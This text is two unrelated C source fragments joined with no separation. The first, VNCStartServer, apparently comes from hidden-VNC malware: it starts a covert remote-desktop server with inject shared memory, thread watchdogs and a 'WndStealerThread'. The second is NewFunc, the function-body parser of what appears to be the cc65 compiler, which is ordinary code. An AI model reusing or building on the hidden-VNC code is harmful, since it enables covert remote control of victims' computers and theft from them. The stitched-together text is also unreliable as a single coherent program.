bool VNCStartServer(HVNC hVNC,HVNC_CONNECTION_INFO *lpConnInfo)
{
bool bRet=false;
if (bHVNCInit)
{
HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC);
if ((lpHandle) && (!lpHandle->lpServer->bActive))
{
memcpy(&lpHandle->ConnInfo,lpConnInfo,sizeof(lpHandle->ConnInfo));
PHVNC lpServer=lpHandle->lpServer;
lpServer->bStopped=false;
if (!(lpServer->DeskInfo.dwFlags & HVNC_SCREEN_SIZE_DETERMINED))
GetScreenInfo(lpServer);
if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_INJECTS))
{
lpServer->hSharedMemMapping=CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_READWRITE,0,lpServer->DIBInfo.dwScreenBufferSize,lpServer->Names.szSharedMemMappingName);
lpServer->lpSharedMemMapping=(byte *)MapViewOfFile(lpServer->hSharedMemMapping,FILE_MAP_ALL_ACCESS,0,0,0);
}
InitScreen(lpServer,&lpServer->DIBInfo.lpOldBkgBits);
ResetEvent(lpServer->EventsInfo.hVNCKillEvent);
ResetEvent(lpServer->EventsInfo.hSendThreadMessageEvent);
g_leave(hInputMutex);
g_leave(hSharedMemMutex);
g_leave(hPaintMutex);
g_leave(hSendThreadMessageMutex);
lpServer->bActive=true;
lpHandle->hEvent=CreateEvent(NULL,true,false,NULL);
SysCreateThread(lpServer,(LPTHREAD_START_ROUTINE)VNCServerThread,(LPDWORD)hVNC,true);
WaitForSingleObject(lpHandle->hEvent,INFINITE);
SysCloseHandle(lpHandle->hEvent);
if (lpServer->bActive)
{
SysCreateThread(lpServer,(LPTHREAD_START_ROUTINE)ThreadsWatchThread,(LPDWORD)lpServer,true);
bRet=true;
if ((!lpServer->DeskInfo.bInputDesktop) && (!lpServer->DeskInfo.bWebCam))
SysCreateThread(lpServer,(LPTHREAD_START_ROUTINE)WndStealerThread,lpServer,true);
}
lpHandle->hEvent=NULL;
}
}
return bRet;
}
void NewFunc (SymEntry* Func)
/* Parse argument declarations and function body. */
{
int C99MainFunc = 0;/* Flag for C99 main function returning int */
SymEntry* Param;
/* Get the function descriptor from the function entry */
FuncDesc* D = Func->V.F.Func;
/* Allocate the function activation record for the function */
CurrentFunc = NewFunction (Func);
/* Reenter the lexical level */
ReenterFunctionLevel (D);
/* Check if the function header contains unnamed parameters. These are
* only allowed in cc65 mode.
*/
if ((D->Flags & FD_UNNAMED_PARAMS) != 0 && (IS_Get (&Standard) != STD_CC65)) {
Error ("Parameter name omitted");
}
/* Declare two special functions symbols: __fixargs__ and __argsize__.
* The latter is different depending on the type of the function (variadic
* or not).
*/
AddConstSym ("__fixargs__", type_uint, SC_DEF | SC_CONST, D->ParamSize);
if (D->Flags & FD_VARIADIC) {
/* Variadic function. The variable must be const. */
static const Type T[] = { TYPE(T_UCHAR | T_QUAL_CONST), TYPE(T_END) };
AddLocalSym ("__argsize__", T, SC_DEF | SC_REF | SC_AUTO, 0);
} else {
/* Non variadic */
AddConstSym ("__argsize__", type_uchar, SC_DEF | SC_CONST, D->ParamSize);
}
/* Function body now defined */
Func->Flags |= SC_DEF;
/* Special handling for main() */
if (strcmp (Func->Name, "main") == 0) {
/* Mark this as the main function */
CurrentFunc->Flags |= FF_IS_MAIN;
/* Main cannot be a fastcall function */
if (IsQualFastcall (Func->Type)) {
Error ("`main' cannot be declared as __fastcall__");
}
/* If cc65 extensions aren't enabled, don't allow a main function that
* doesn't return an int.
*/
if (IS_Get (&Standard) != STD_CC65 && CurrentFunc->ReturnType[0].C != T_INT) {
Error ("`main' must always return an int");
}
/* Add a forced import of a symbol that is contained in the startup
* code. This will force the startup code to be linked in.
*/
g_importstartup ();
/* If main() takes parameters, generate a forced import to a function
* that will setup these parameters. This way, programs that do not
* need the additional code will not get it.
*/
if (D->ParamCount > 0 || (D->Flags & FD_VARIADIC) != 0) {
g_importmainargs ();
}
/* Determine if this is a main function in a C99 environment that
* returns an int.
*/
if (IsTypeInt (F_GetReturnType (CurrentFunc)) &&
IS_Get (&Standard) == STD_C99) {
C99MainFunc = 1;
}
}
/* Allocate code and data segments for this function */
Func->V.F.Seg = PushSegments (Func);
/* Allocate a new literal pool */
PushLiteralPool (Func);
/* If this is a fastcall function, push the last parameter onto the stack */
if (IsQualFastcall (Func->Type) && D->ParamCount > 0) {
unsigned Flags;
/* Fastcall functions may never have an ellipsis or the compiler is buggy */
CHECK ((D->Flags & FD_VARIADIC) == 0);
/* Generate the push */
if (IsTypeFunc (D->LastParam->Type)) {
/* Pointer to function */
Flags = CF_PTR;
} else {
Flags = TypeOf (D->LastParam->Type) | CF_FORCECHAR;
}
g_push (Flags, 0);
}
/* Generate function entry code if needed */
g_enter (TypeOf (Func->Type), F_GetParamSize (CurrentFunc));
/* If stack checking code is requested, emit a call to the helper routine */
if (IS_Get (&CheckStack)) {
g_stackcheck ();
}
/* Setup the stack */
StackPtr = 0;
/* Walk through the parameter list and allocate register variable space
* for parameters declared as register. Generate code to swap the contents
* of the register bank with the save area on the stack.
*/
Param = D->SymTab->SymHead;
while (Param && (Param->Flags & SC_PARAM) != 0) {
/* Check for a register variable */
if (SymIsRegVar (Param)) {
/* Allocate space */
int Reg = F_AllocRegVar (CurrentFunc, Param->Type);
/* Could we allocate a register? */
if (Reg < 0) {
/* No register available: Convert parameter to auto */
CvtRegVarToAuto (Param);
} else {
/* Remember the register offset */
Param->V.R.RegOffs = Reg;
/* Generate swap code */
g_swap_regvars (Param->V.R.SaveOffs, Reg, CheckedSizeOf (Param->Type));
}
}
/* Next parameter */
Param = Param->NextSym;
}
/* Need a starting curly brace */
ConsumeLCurly ();
/* Parse local variable declarations if any */
DeclareLocals ();
/* Remember the current stack pointer. All variables allocated elsewhere
* must be dropped when doing a return from an inner block.
*/
CurrentFunc->TopLevelSP = StackPtr;
/* Now process statements in this block */
while (CurTok.Tok != TOK_RCURLY && CurTok.Tok != TOK_CEOF) {
Statement (0);
}
/* If this is not a void function, and not the main function in a C99
* environment returning int, output a warning if we didn't see a return
* statement.
*/
if (!F_HasVoidReturn (CurrentFunc) && !F_HasReturn (CurrentFunc) && !C99MainFunc) {
Warning ("Control reaches end of non-void function");
}
/* If this is the main function in a C99 environment returning an int, let
* it always return zero. Note: Actual return statements jump to the return
* label defined below.
* The code is removed by the optimizer if unused.
*/
if (C99MainFunc) {
g_getimmed (CF_INT | CF_CONST, 0, 0);
}
/* Output the function exit code label */
g_defcodelabel (F_GetRetLab (CurrentFunc));
/* Restore the register variables */
F_RestoreRegVars (CurrentFunc);
/* Generate the exit code */
g_leave ();
/* Emit references to imports/exports */
EmitExternals ();
/* Emit function debug info */
F_EmitDebugInfo ();
EmitDebugInfo ();
/* Leave the lexical level */
LeaveFunctionLevel ();
/* Eat the closing brace */
ConsumeRCurly ();
/* Restore the old literal pool, remembering the one for the function */
Func->V.F.LitPool = PopLiteralPool ();
/* Switch back to the old segments */
PopSegments ();
/* Reset the current function pointer */
FreeFunction (CurrentFunc);
CurrentFunc = 0;
}
